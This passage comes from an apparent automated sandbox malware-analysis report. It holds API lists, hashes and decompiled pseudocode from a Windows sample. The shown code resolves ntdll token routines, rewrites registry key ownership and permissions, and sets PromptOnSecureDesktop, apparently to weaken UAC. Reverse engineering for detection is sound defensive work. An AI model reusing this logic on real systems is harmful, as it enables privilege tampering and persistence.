Uniqueness

Uniqueness Score: -1.00%

Function 006C9E89, Relevance: 59.9, APIs: 28, Strings: 6, Instructions: 421stringregistryfileCOMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 006C9E56
lstrcpy.KERNEL32(?,00000000), ref: 006C9FCA
lstrcat.KERNEL32(?,?), ref: 006C9FDB
lstrcat.KERNEL32(?,0041070C), ref: 006C9FED
GetFileAttributesExA.KERNEL32(?,?,?), ref: 006CA03D
DeleteFileA.KERNEL32(?), ref: 006CA088
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 006CA0BF
lstrcpy.KERNEL32 ref: 006CA118
lstrlen.KERNEL32(00000022), ref: 006CA125
GetTempPathA.KERNEL32(000001F4,?), ref: 006C9EFC

Part of subcall function 006C7012: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000), ref: 006C706A

Part of subcall function 006C6F19: GetModuleHandleA.KERNEL32(00410380,00410670,00000000,\\.\pipe\jjmeabw,006C702C), ref: 006C6F37
Part of subcall function 006C6F19: GetProcAddress.KERNEL32(00000000), ref: 006C6F3E
Part of subcall function 006C6F19: GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 006C6F64
Part of subcall function 006C6F19: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 006C6F7B

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,?,00000103,?,?,?,?), ref: 006CA18B
RegSetValueExA.ADVAPI32(?,00000001,?,00000001,?,000001F5,?,?,?,00000103,?,?,?,?), ref: 006CA1AE
GetModuleHandleA.KERNEL32(?,?,00000104,?,?,00000010,?,?,00000044,?,?,?,?,?,?,00000103), ref: 006CA1FD
GetModuleFileNameA.KERNEL32(00000000,?,?,00000104,?,?,00000010,?,?,00000044), ref: 006CA204
GetDriveTypeA.KERNEL32(?), ref: 006CA24E
lstrcat.KERNEL32(?,00000000), ref: 006CA288
lstrcat.KERNEL32(?,00410A34), ref: 006CA2AE
lstrcat.KERNEL32(?,00000022), ref: 006CA2C2
lstrcat.KERNEL32(?,00410A34), ref: 006CA2DD
wsprintfA.USER32 ref: 006CA306
lstrcat.KERNEL32(?,00000000), ref: 006CA32E
lstrcat.KERNEL32(?,?), ref: 006CA34D
CreateProcessA.KERNEL32(?,?,?,?,?,08000000,?,?,?,?,?,?,00000104,?,?,00000010), ref: 006CA370
DeleteFileA.KERNEL32(?,?,?,?,?,?,08000000,?,?,?,?,?,?,00000104,?), ref: 006CA381
RegCloseKey.ADVAPI32(?,?,00000001,?,000001F5,?,?,?,00000103,?,?,?,?), ref: 006CA1BA

Part of subcall function 006C994F: RegOpenKeyExA.ADVAPI32(80000001,00000000), ref: 006C9986
Part of subcall function 006C994F: RegDeleteValueA.ADVAPI32(?,00000000), ref: 006C99A6
Part of subcall function 006C994F: RegCloseKey.ADVAPI32(?), ref: 006C99AF

GetModuleHandleA.KERNEL32(?,?,0000012C), ref: 006CA3C4
GetModuleFileNameA.KERNEL32(00000000,?,?,0000012C), ref: 006CA3CB
GetDriveTypeA.KERNEL32(00000022), ref: 006CA406

Strings

P, xrefs: 006C9FFA
D, xrefs: 006CA1DE
", xrefs: 006CA2C8
", xrefs: 006CA3D9
\, xrefs: 006C9F5C
", xrefs: 006CA12B

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: lstrcat$FileModule$DeleteHandle$CloseDirectoryDriveNameOpenProcessTypeValuelstrcpy$AddressAttributesCreateEnvironmentExitInformationPathProcSystemTempVariableVolumeWindowslstrlenwsprintf
String ID: "$"$"$D$P$\
API String ID: 1653845638-2605685093
Opcode ID: 0c11c2300bf8887d3437573fd553245dec9800ee399a6cc752f87376d7d629c9
Instruction ID: 9f7b8df365e7716a1f531a83e6493d8450e380273170314c4fc783dd58f6dc1b
Opcode Fuzzy Hash: 0c11c2300bf8887d3437573fd553245dec9800ee399a6cc752f87376d7d629c9
Instruction Fuzzy Hash: 0CF14FB1D4025DAFDB11DBA09C49FFE7BBDEB08304F0484AEE609E2141DB758A858F65

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 56.2, APIs: 16, Strings: 16, Instructions: 170
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401000() {
				struct HINSTANCE__* _t2;
				_Unknown_base(*)()* _t3;
				signed int _t4;
				_Unknown_base(*)()* _t6;
				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t10;
				_Unknown_base(*)()* _t11;
				_Unknown_base(*)()* _t12;
				_Unknown_base(*)()* _t14;
				_Unknown_base(*)()* _t15;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t18;
				_Unknown_base(*)()* _t19;
				_Unknown_base(*)()* _t20;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t23;
				signed int _t34;
				signed int _t35;

				_t2 =  *0x413918;
				_t35 = _t34 | 0xffffffff;
				if(_t2 != 0) {
					L3:
					if( *0x41391c == 0 ||  *0x413920 == 0 ||  *0x413924 == 0 ||  *0x413928 == 0 ||  *0x41392c == 0 ||  *0x413930 == 0 ||  *0x413934 == 0 ||  *0x413938 == 0 ||  *0x41393c == 0 ||  *0x413940 == 0 ||  *0x413944 == 0 ||  *0x413948 == 0 ||  *0x41394c == 0 ||  *0x413950 == 0 ||  *0x413954 == 0) {
						_t3 = GetProcAddress(_t2, "RtlExpandEnvironmentStrings_U");
						 *0x41391c = _t3;
						if(_t3 == 0) {
							L34:
							_t4 = _t35;
						} else {
							_t35 = 0xfffffffe;
							_t6 = GetProcAddress( *0x413918, "RtlSetLastWin32Error");
							 *0x413920 = _t6;
							if(_t6 == 0) {
								goto L34;
							} else {
								_t35 = 0xfffffffd;
								_t7 = GetProcAddress( *0x413918, "NtTerminateProcess");
								 *0x413924 = _t7;
								if(_t7 == 0) {
									goto L34;
								} else {
									_t35 = 0xfffffffc;
									_t8 = GetProcAddress( *0x413918, "RtlFreeSid");
									 *0x413928 = _t8;
									if(_t8 == 0) {
										goto L34;
									} else {
										_t35 = 0xfffffffb;
										_t10 = GetProcAddress( *0x413918, "RtlInitUnicodeString");
										 *0x41392c = _t10;
										if(_t10 == 0) {
											goto L34;
										} else {
											_t35 = 0xfffffffa;
											_t11 = GetProcAddress( *0x413918, "NtSetInformationThread");
											 *0x413930 = _t11;
											if(_t11 == 0) {
												goto L34;
											} else {
												_t35 = 0xfffffff9;
												_t12 = GetProcAddress( *0x413918, "NtSetInformationToken");
												 *0x413934 = _t12;
												if(_t12 == 0) {
													goto L34;
												} else {
													_t35 = 0xfffffff8;
													_t14 = GetProcAddress( *0x413918, "RtlNtStatusToDosError");
													 *0x413938 = _t14;
													if(_t14 == 0) {
														goto L34;
													} else {
														_t35 = 0xfffffff7;
														_t15 = GetProcAddress( *0x413918, "NtClose");
														 *0x41393c = _t15;
														if(_t15 == 0) {
															goto L34;
														} else {
															_t35 = 0xfffffff6;
															_t16 = GetProcAddress( *0x413918, "NtOpenProcessToken");
															 *0x413940 = _t16;
															if(_t16 == 0) {
																goto L34;
															} else {
																_t35 = 0xfffffff5;
																_t18 = GetProcAddress( *0x413918, "NtDuplicateToken");
																 *0x413944 = _t18;
																if(_t18 == 0) {
																	goto L34;
																} else {
																	_t35 = 0xfffffff4;
																	_t19 = GetProcAddress( *0x413918, "RtlAllocateAndInitializeSid");
																	 *0x413948 = _t19;
																	if(_t19 == 0) {
																		goto L34;
																	} else {
																		_t35 = 0xfffffff3;
																		_t20 = GetProcAddress( *0x413918, "NtFilterToken");
																		 *0x41394c = _t20;
																		if(_t20 == 0) {
																			goto L34;
																		} else {
																			_t35 = 0xfffffff2;
																			_t22 = GetProcAddress( *0x413918, "RtlLengthSid");
																			 *0x413950 = _t22;
																			if(_t22 == 0) {
																				goto L34;
																			} else {
																				_t35 = 0xfffffff1;
																				_t23 = GetProcAddress( *0x413918, "NtQueryInformationToken");
																				 *0x413954 = _t23;
																				_t1 = _t35 + 0x10; // 0x100000001
																				_t4 = _t1;
																				if(_t23 == 0) {
																					goto L34;
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
						return _t4;
					} else {
						return 1;
					}
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x413918 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x00401000
0x00401006
0x0040100b
0x00401023
0x0040102a
0x004010c2
0x004010c4
0x004010cb
0x0040127b
0x0040127b
0x004010d1
0x004010dc
0x004010e1
0x004010e3
0x004010ea
0x00000000
0x004010f0
0x004010fc
0x00401101
0x00401103
0x0040110a
0x00000000
0x00401110
0x0040111c
0x00401121
0x00401123
0x0040112a
0x00000000
0x00401130
0x0040113b
0x00401140
0x00401142
0x00401149
0x00000000
0x0040114f
0x0040115b
0x00401160
0x00401162
0x00401169
0x00000000
0x0040116f
0x0040117b
0x00401180
0x00401182
0x00401189
0x00000000
0x0040118f
0x0040119a
0x0040119f
0x004011a1
0x004011a8
0x00000000
0x004011ae
0x004011ba
0x004011bf
0x004011c1
0x004011c8
0x00000000
0x004011ce
0x004011da
0x004011df
0x004011e1
0x004011e8
0x00000000
0x004011ee
0x004011f9
0x004011fe
0x00401200
0x00401207
0x00000000
0x00401209
0x00401215
0x0040121a
0x0040121c
0x00401223
0x00000000
0x00401225
0x00401231
0x00401236
0x00401238
0x0040123f
0x00000000
0x00401241
0x0040124c
0x00401251
0x00401253
0x0040125a
0x00000000
0x0040125c
0x00401268
0x0040126d
0x0040126f
0x00401276
0x00401276
0x00401279
0x00000000
0x00000000
0x00401279
0x0040125a
0x0040123f
0x00401223
0x00401207
0x004011e8
0x004011c8
0x004011a8
0x00401189
0x00401169
0x00401149
0x0040112a
0x0040110a
0x004010ea
0x0040127f
0x004010ae
0x004010b4
0x004010b4
0x0040100d
0x00401012
0x00401018
0x0040101f
0x00000000
0x00401022
0x00401022
0x00401022
0x0040101f

APIs

LoadLibraryA.KERNEL32(ntdll.dll,00000000,00401839,00409646), ref: 00401012
GetProcAddress.KERNEL32(?,RtlExpandEnvironmentStrings_U), ref: 004010C2
GetProcAddress.KERNEL32(?,RtlSetLastWin32Error), ref: 004010E1
GetProcAddress.KERNEL32(?,NtTerminateProcess), ref: 00401101
GetProcAddress.KERNEL32(?,RtlFreeSid), ref: 00401121
GetProcAddress.KERNEL32(?,RtlInitUnicodeString), ref: 00401140
GetProcAddress.KERNEL32(?,NtSetInformationThread), ref: 00401160
GetProcAddress.KERNEL32(?,NtSetInformationToken), ref: 00401180
GetProcAddress.KERNEL32(?,RtlNtStatusToDosError), ref: 0040119F
GetProcAddress.KERNEL32(?,NtClose), ref: 004011BF
GetProcAddress.KERNEL32(?,NtOpenProcessToken), ref: 004011DF
GetProcAddress.KERNEL32(?,NtDuplicateToken), ref: 004011FE
GetProcAddress.KERNEL32(?,RtlAllocateAndInitializeSid), ref: 0040121A

Strings

NtQueryInformationToken, xrefs: 00401262
NtSetInformationToken, xrefs: 00401175
RtlSetLastWin32Error, xrefs: 004010D6
RtlAllocateAndInitializeSid, xrefs: 0040120F
RtlInitUnicodeString, xrefs: 00401135
RtlLengthSid, xrefs: 00401246
RtlNtStatusToDosError, xrefs: 00401194
NtTerminateProcess, xrefs: 004010F6
RtlFreeSid, xrefs: 00401116
NtSetInformationThread, xrefs: 00401155
RtlExpandEnvironmentStrings_U, xrefs: 004010BC
NtClose, xrefs: 004011B4
NtOpenProcessToken, xrefs: 004011D4
NtDuplicateToken, xrefs: 004011F3
ntdll.dll, xrefs: 0040100D
NtFilterToken, xrefs: 0040122B

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtClose$NtDuplicateToken$NtFilterToken$NtOpenProcessToken$NtQueryInformationToken$NtSetInformationThread$NtSetInformationToken$NtTerminateProcess$RtlAllocateAndInitializeSid$RtlExpandEnvironmentStrings_U$RtlFreeSid$RtlInitUnicodeString$RtlLengthSid$RtlNtStatusToDosError$RtlSetLastWin32Error$ntdll.dll
API String ID: 2238633743-3228201535
Opcode ID: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction ID: c8dd2db2df3f08e17c6117e54d1286841a2c4197db930f8a9693796d5e259140
Opcode Fuzzy Hash: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction Fuzzy Hash: 2F5100B1662641A6D7118F69EC84BD23AE86748372F14837B9520F62F0D7F8CAC1CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0042C6AE, Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 431COMMON

Download Yara Rule

APIs

__invoke_watson_if_error.LIBCMTD ref: 0042C6F2
_wcscat_s.LIBCMTD ref: 0042C90A

Part of subcall function 00432490: __invalid_parameter.LIBCMTD ref: 00432502

__invoke_watson_if_error.LIBCMTD ref: 0042C913

Part of subcall function 0041E1C0: __invoke_watson.LIBCMTD ref: 0041E1E1

_wcscat_s.LIBCMTD ref: 0042C942

Part of subcall function 00432490: _memset.LIBCMT ref: 0043256B
Part of subcall function 00432490: __invalid_parameter.LIBCMTD ref: 004325C7

__invoke_watson_if_error.LIBCMTD ref: 0042C94B
__invoke_watson_if_oneof.LIBCMTD ref: 0042C9DD
_wcscpy_s.LIBCMTD ref: 0042CA22
__invoke_watson_if_error.LIBCMTD ref: 0042CA2B
__cftoe.LIBCMTD ref: 0042CA9F
__invoke_watson_if_oneof.LIBCMTD ref: 0042CACE
_wcscpy_s.LIBCMTD ref: 0042CB06
__invoke_watson_if_error.LIBCMTD ref: 0042CB0F
__itow_s.LIBCMTD ref: 0042C6E9

Part of subcall function 00436F90: _xtow_s@20.LIBCMTD ref: 00436FBB

__strftime_l.LIBCMTD ref: 0042C7A9
__invoke_watson_if_oneof.LIBCMTD ref: 0042C7E2
_wcscpy_s.LIBCMTD ref: 0042C827
__invoke_watson_if_error.LIBCMTD ref: 0042C830
_wcscpy_s.LIBCMTD ref: 0042C883
__invoke_watson_if_error.LIBCMTD ref: 0042C88C
_wcscat_s.LIBCMTD ref: 0042C8BD
__invoke_watson_if_error.LIBCMTD ref: 0042C8C6

Strings

hPb@, xrefs: 0042CAB9
h_@, xrefs: 0042C8A5
t9j, xrefs: 0042CD35
hX^@, xrefs: 0042CABE
hPb@, xrefs: 0042C8A0
t8j, xrefs: 0042CADD

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: __invoke_watson_if_error$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$__cftoe__invoke_watson__itow_s__strftime_l_memset_xtow_s@20
String ID: hPb@$hPb@$hX^@$h_@$t8j$t9j
API String ID: 2916338978-2297726559
Opcode ID: 96dec355b74da48df28784e78f9983098343d5a23bb672f07f804638e7065d0d
Instruction ID: bcad51a52c0770f6056ebd73efcb92dd9cb6c37232e54d154d749219f7269e49
Opcode Fuzzy Hash: 96dec355b74da48df28784e78f9983098343d5a23bb672f07f804638e7065d0d
Instruction Fuzzy Hash: 4C0293B4A40714ABDB20EF11EC46FDF7774AB44706F5040AAF609BA2C1D7B85A84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040B211, Relevance: 47.4, APIs: 7, Strings: 20, Instructions: 131
timeCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040B211(FILETIME* _a4, CHAR* _a8, signed int _a12) {
				struct _FILETIME _v12;
				struct _SYSTEMTIME _v28;
				CHAR* _v32;
				CHAR* _v36;
				CHAR* _v40;
				CHAR* _v44;
				CHAR* _v48;
				CHAR* _v52;
				CHAR* _v56;
				CHAR* _v60;
				CHAR* _v64;
				CHAR* _v68;
				CHAR* _v72;
				CHAR* _v76;
				CHAR* _v80;
				CHAR* _v84;
				CHAR* _v88;
				CHAR* _v92;
				CHAR* _v96;
				CHAR* _v100;
				CHAR* _v104;
				struct _TIME_ZONE_INFORMATION _v276;
				long _t77;
				signed int _t80;
				signed int _t93;
				signed int _t101;
				signed int _t102;
				CHAR* _t103;
				signed int _t104;
				signed short _t106;
				signed short _t109;
				signed int _t114;
				signed int _t115;
				void* _t117;

				_v56 = "Sun";
				_v52 = "Mon";
				_v48 = "Tue";
				_v44 = "Wed";
				_v40 = "Thu";
				_v36 = "Fri";
				_v32 = "Sat";
				_v104 = "Jan";
				_v100 = "Feb";
				_v96 = "Mar";
				_v92 = "Apr";
				_v88 = "May";
				_v84 = "Jun";
				_v80 = "Jul";
				_v76 = "Aug";
				_v72 = "Sep";
				_v68 = "Oct";
				_v64 = "Nov";
				_v60 = "Dec";
				if(_a4 != 0) {
					FileTimeToLocalFileTime(_a4,  &_v12);
					FileTimeToSystemTime( &_v12,  &_v28);
				} else {
					GetLocalTime( &_v28);
				}
				_t114 = _a12;
				if(_t114 != 0) {
					SystemTimeToFileTime( &_v28,  &_v12);
					_t93 = E0040ECA5();
					if(_t114 <= 0) {
						_t104 = _t93 %  ~_t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime - _t104;
						asm("sbb [ebp-0x4], ebx");
					} else {
						_t104 = _t93 % _t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime + _t104;
						asm("adc [ebp-0x4], ebx");
					}
					FileTimeToSystemTime( &_v12,  &_v28);
				}
				_v276.Bias = 0;
				_t77 = GetTimeZoneInformation( &_v276);
				_t101 = _v276.Bias;
				if(_t77 == 2) {
					_t101 = _t101 + _v276.DaylightBias;
				}
				_t102 =  ~_t101;
				asm("cdq");
				_t80 = (_t102 ^ _t104) - _t104;
				if(_v28.wDayOfWeek > 6) {
					_t109 = 6;
					_v28.wDayOfWeek = _t109;
				}
				if(_v28.wMonth == 0) {
					_v28.wMonth = 1;
				}
				if(_v28.wMonth > 0xc) {
					_t106 = 0xc;
					_v28.wMonth = _t106;
				}
				_t103 = "+";
				if(_t102 < 0) {
					_t103 = "-";
				}
				_t115 = 0x3c;
				asm("cdq");
				return wsprintfA(_a8, "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u",  *((intOrPtr*)(_t117 + (_v28.wDayOfWeek & 0x0000ffff) * 4 - 0x34)), _v28.wDay & 0x0000ffff,  *((intOrPtr*)(_t117 + (_v28.wMonth & 0x0000ffff) * 4 - 0x68)), _v28.wYear & 0x0000ffff, _v28.wHour & 0x0000ffff, _v28.wMinute & 0x0000ffff, _v28.wSecond & 0x0000ffff, _t103, _t80 / _t115, _t80 % _t115);
			}

0x0040b225
0x0040b22c
0x0040b233
0x0040b23a
0x0040b241
0x0040b248
0x0040b24f
0x0040b256
0x0040b25d
0x0040b264
0x0040b26b
0x0040b272
0x0040b279
0x0040b280
0x0040b287
0x0040b28e
0x0040b295
0x0040b29c
0x0040b2a3
0x0040b2ad
0x0040b2c2
0x0040b2d0
0x0040b2af
0x0040b2b3
0x0040b2b3
0x0040b2d2
0x0040b2d7
0x0040b2e1
0x0040b2e7
0x0040b2f0
0x0040b306
0x0040b30c
0x0040b30f
0x0040b2f2
0x0040b2f4
0x0040b2fa
0x0040b2fd
0x0040b2fd
0x0040b31a
0x0040b31a
0x0040b323
0x0040b329
0x0040b32f
0x0040b338
0x0040b33a
0x0040b33a
0x0040b33d
0x0040b341
0x0040b344
0x0040b34b
0x0040b34f
0x0040b350
0x0040b350
0x0040b358
0x0040b35d
0x0040b35d
0x0040b366
0x0040b36a
0x0040b36b
0x0040b36b
0x0040b371
0x0040b376
0x0040b378
0x0040b378
0x0040b37f
0x0040b380
0x0040b3c4

APIs

GetLocalTime.KERNEL32(0003E800,?,0003E800,00000000), ref: 0040B2B3
FileTimeToLocalFileTime.KERNEL32(00000000,00000000,?,0003E800,00000000), ref: 0040B2C2
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B2D0
SystemTimeToFileTime.KERNEL32(0003E800,00000000), ref: 0040B2E1
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B31A
GetTimeZoneInformation.KERNEL32(?), ref: 0040B329
wsprintfA.USER32 ref: 0040B3B7

Strings

Jul, xrefs: 0040B280
Jun, xrefs: 0040B279
Wed, xrefs: 0040B23A
Mon, xrefs: 0040B22C
Dec, xrefs: 0040B2A3
Fri, xrefs: 0040B248
Jan, xrefs: 0040B256
Oct, xrefs: 0040B295
Sep, xrefs: 0040B28E
Apr, xrefs: 0040B26B
Thu, xrefs: 0040B241
%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u, xrefs: 0040B3AF
Feb, xrefs: 0040B25D
Tue, xrefs: 0040B233
May, xrefs: 0040B272
Mar, xrefs: 0040B264
Sat, xrefs: 0040B24F
Aug, xrefs: 0040B287
Nov, xrefs: 0040B29C
Sun, xrefs: 0040B225

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: Time$File$System$Local$InformationZonewsprintf
String ID: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$Apr$Aug$Dec$Feb$Fri$Jan$Jul$Jun$Mar$May$Mon$Nov$Oct$Sat$Sep$Sun$Thu$Tue$Wed
API String ID: 766114626-2976066047
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: 3cccae2c5b68faf9d5e65ebc3321ef0303f497beb4f825406ae493c25d793f5b
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction Fuzzy Hash: D8510EB1D0021CAADF18DFD5D8495EEBBB9EF48304F10856BE501B6250E7B84AC9CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00407A95, Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 269
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 99%

			E00407A95(void* _a4, char* _a8, signed int _a12) {
				int _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				int _v24;
				void* _v28;
				struct _ACL* _v32;
				long _v36;
				long _v40;
				long _v44;
				int _v48;
				int _v52;
				union _SID_NAME_USE _v56;
				int _v60;
				int _v64;
				void _v132;
				char _v388;
				char _v516;
				struct _SECURITY_DESCRIPTOR _v1540;
				void* _t95;
				void* _t104;
				void* _t107;
				void* _t111;
				void* _t116;
				struct _ACL* _t117;
				void* _t118;
				void* _t120;
				void* _t122;
				void* _t123;
				void* _t125;
				char* _t126;
				void* _t130;
				void* _t134;
				void* _t135;
				signed int _t136;
				void* _t143;
				void* _t146;
				int _t148;
				int _t151;
				void** _t159;
				void* _t161;
				void* _t164;
				signed int _t172;
				void* _t173;
				char* _t174;
				void* _t175;
				void* _t176;

				_v32 = 0;
				_v12 = 0;
				_v28 = 0;
				if(RegOpenKeyExA(_a4, _a8, 0, 0xe0100,  &_v28) != 0) {
					return 0;
				}
				_v40 = 0x80;
				_t95 = GetUserNameA( &_v388,  &_v40);
				__eflags = _t95;
				if(_t95 == 0) {
					L48:
					RegCloseKey(_v28);
					return _v12;
				} else {
					_v36 = 0x44;
					_v44 = 0x80;
					_t104 = LookupAccountNameA(0,  &_v388,  &_v132,  &_v36,  &_v516,  &_v44,  &_v56);
					__eflags = _t104;
					if(_t104 == 0) {
						goto L48;
					}
					_v48 = 0x400;
					_t107 = RegGetKeySecurity(_v28, 5,  &_v1540,  &_v48);
					__eflags = _t107;
					if(_t107 != 0) {
						goto L48;
					}
					_t111 = GetSecurityDescriptorOwner( &_v1540,  &_v16,  &_v60);
					__eflags = _t111;
					if(_t111 == 0) {
						L12:
						_v24 = 0;
						_t116 = GetSecurityDescriptorDacl( &_v1540,  &_v64,  &_v32,  &_v52);
						__eflags = _t116;
						if(_t116 == 0) {
							L47:
							goto L48;
						}
						_t117 = _v32;
						__eflags = _t117;
						if(_t117 == 0) {
							goto L47;
						}
						_t164 = 0;
						_v8 = 0;
						__eflags = 0 - _t117->AceCount;
						if(0 >= _t117->AceCount) {
							goto L47;
						} else {
							goto L15;
						}
						do {
							L15:
							_t118 = GetAce(_t117, _v8,  &_v20);
							__eflags = _t118;
							if(_t118 == 0) {
								L31:
								_t73 =  &_v8;
								 *_t73 = _v8 + 1;
								__eflags =  *_t73;
								goto L32;
							}
							_t172 = 0;
							_v16 = _v20 + 8;
							__eflags = _t164;
							if(_t164 <= 0) {
								L21:
								__eflags = _t164 - 0x20;
								if(_t164 < 0x20) {
									 *((intOrPtr*)(_t176 + _t164 * 4 - 0x100)) = _v16;
									_t164 = _t164 + 1;
									__eflags = _t164;
								}
								_t134 = EqualSid( &_v132, _v16);
								_t159 = _v20;
								__eflags = _t134;
								if(_t134 == 0) {
									_t135 = 0x20000;
								} else {
									asm("sbb eax, eax");
									_t135 = ( ~_a12 & 0x00010006) + 0xe0039;
								}
								__eflags = _t159[1] - _t135;
								if(_t159[1] != _t135) {
									_t159[1] = _t135;
									_t159 = _v20;
									_v24 = 1;
								}
								__eflags =  *_t159;
								if( *_t159 != 0) {
									L30:
									 *_t159 = 0;
									_t136 = _v16;
									__eflags =  *(_t136 + 8);
									_t68 =  *(_t136 + 8) == 0;
									__eflags = _t68;
									_v24 = 1;
									 *((char*)(_v20 + 1)) = 2 + (_t136 & 0xffffff00 | _t68) * 8;
									goto L31;
								} else {
									__eflags = _t159[0] & 0x00000010;
									if((_t159[0] & 0x00000010) == 0) {
										goto L31;
									}
									goto L30;
								}
							} else {
								goto L17;
							}
							while(1) {
								L17:
								_t143 = EqualSid( *(_t176 + _t172 * 4 - 0x100), _v16);
								__eflags = _t143;
								if(_t143 != 0) {
									break;
								}
								_t172 = _t172 + 1;
								__eflags = _t172 - _t164;
								if(_t172 < _t164) {
									continue;
								}
								break;
							}
							__eflags = _t172 - _t164;
							if(_t172 >= _t164) {
								goto L21;
							}
							DeleteAce(_v32, _v8);
							_v24 = 1;
							L32:
							_t117 = _v32;
							__eflags = _v8 - (_t117->AceCount & 0x0000ffff);
						} while (_v8 < (_t117->AceCount & 0x0000ffff));
						__eflags = _v24;
						if(_v24 == 0) {
							goto L47;
						}
						__eflags =  *0x4121a8; // 0x0
						if(__eflags == 0) {
							L41:
							_v12 = 1;
							_t173 = LocalAlloc(0x40, 0x14);
							__eflags = _t173;
							if(_t173 != 0) {
								_t120 = InitializeSecurityDescriptor(_t173, 1);
								__eflags = _t120;
								if(_t120 != 0) {
									_t122 = SetSecurityDescriptorDacl(_t173, 1, _v32, 0);
									__eflags = _t122;
									if(_t122 != 0) {
										_t123 = RegSetKeySecurity(_v28, 4, _t173);
										__eflags = _t123;
										if(_t123 == 0) {
											_v12 = 1;
										}
									}
								}
								LocalFree(_t173);
							}
							goto L47;
						}
						__eflags =  *0x412cc0; // 0x0
						if(__eflags == 0) {
							goto L41;
						}
						_v12 = 0;
						_t125 = RegOpenKeyExA(_a4, _a8, 0, 0x103,  &_v12);
						__eflags = _t125;
						if(_t125 != 0) {
							goto L41;
						}
						_t126 = 0x4121a8;
						_t83 =  &(_t126[1]); // 0x4121a9
						_t174 = _t83;
						do {
							_t161 =  *_t126;
							_t126 =  &(_t126[1]);
							__eflags = _t161;
						} while (_t161 != 0);
						_t130 = RegSetValueExA(_v12, E00402544("PromptOnSecureDesktop", 0x4106dc, 0xa, 0xe4, 0xc8), 0, 2, 0x4121a8, _t126 - _t174 + 1);
						__eflags = _t130;
						if(_t130 == 0) {
							 *0x412cc0 = 0;
						}
						goto L41;
					}
					_t146 = EqualSid( &_v132, _v16);
					__eflags = _t146;
					if(_t146 != 0) {
						goto L12;
					}
					_v12 = 1;
					_t175 = LocalAlloc(0x40, 0x14);
					__eflags = _t175;
					if(_t175 != 0) {
						_t148 = InitializeSecurityDescriptor(_t175, 1);
						__eflags = _t148;
						if(_t148 != 0) {
							_t151 = SetSecurityDescriptorOwner(_t175,  &_v132, 0);
							__eflags = _t151;
							if(_t151 != 0) {
								RegSetKeySecurity(_v28, 1, _t175);
							}
						}
						LocalFree(_t175);
					}
					goto L12;
				}
			}

0x00407aae
0x00407ab4
0x00407ab7
0x00407ac2
0x00000000
0x00407ac4
0x00407adc
0x00407adf
0x00407ae5
0x00407ae7
0x00407da7
0x00407daa
0x00000000
0x00407aed
0x00407b0c
0x00407b13
0x00407b16
0x00407b1c
0x00407b1e
0x00000000
0x00000000
0x00407b34
0x00407b3b
0x00407b41
0x00407b43
0x00000000
0x00000000
0x00407b59
0x00407b5f
0x00407b61
0x00407bb8
0x00407bcb
0x00407bce
0x00407bd4
0x00407bd6
0x00407da6
0x00000000
0x00407da6
0x00407bdc
0x00407bdf
0x00407be1
0x00000000
0x00000000
0x00407be9
0x00407beb
0x00407bee
0x00407bf2
0x00000000
0x00000000
0x00000000
0x00000000
0x00407bf8
0x00407bf8
0x00407c00
0x00407c06
0x00407c08
0x00407cc6
0x00407cc6
0x00407cc6
0x00407cc6
0x00000000
0x00407cc6
0x00407c14
0x00407c16
